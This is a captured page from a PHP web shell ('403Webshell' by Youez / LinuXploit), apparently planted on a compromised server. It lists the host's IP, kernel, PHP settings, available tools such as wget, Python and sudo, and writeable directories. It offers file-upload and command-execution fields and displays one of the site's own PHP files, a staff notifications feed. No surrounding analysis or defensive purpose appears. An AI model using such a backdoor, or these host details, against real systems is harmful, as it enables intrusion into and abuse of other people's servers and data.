403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/pracownik/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/pracownik/notifications-feed.php
<?php
declare(strict_types=1);require_once dirname(__DIR__).'/includes/functions.php';$user=require_staff_portal();header('Content-Type: application/json; charset=UTF-8');header('Cache-Control: no-store');$rows=staff_notifications_for_user((int)$user['id'],20,true);echo json_encode(['ok'=>true,'unread'=>count($rows),'items'=>array_map(static fn(array $n):array=>['id'=>(int)$n['id'],'title'=>(string)$n['title'],'body'=>(string)($n['body']??''),'link'=>(string)($n['link']??'/pracownik/')],$rows)],JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES);

Youez - 2016 - github.com/yon3zu
LinuXploit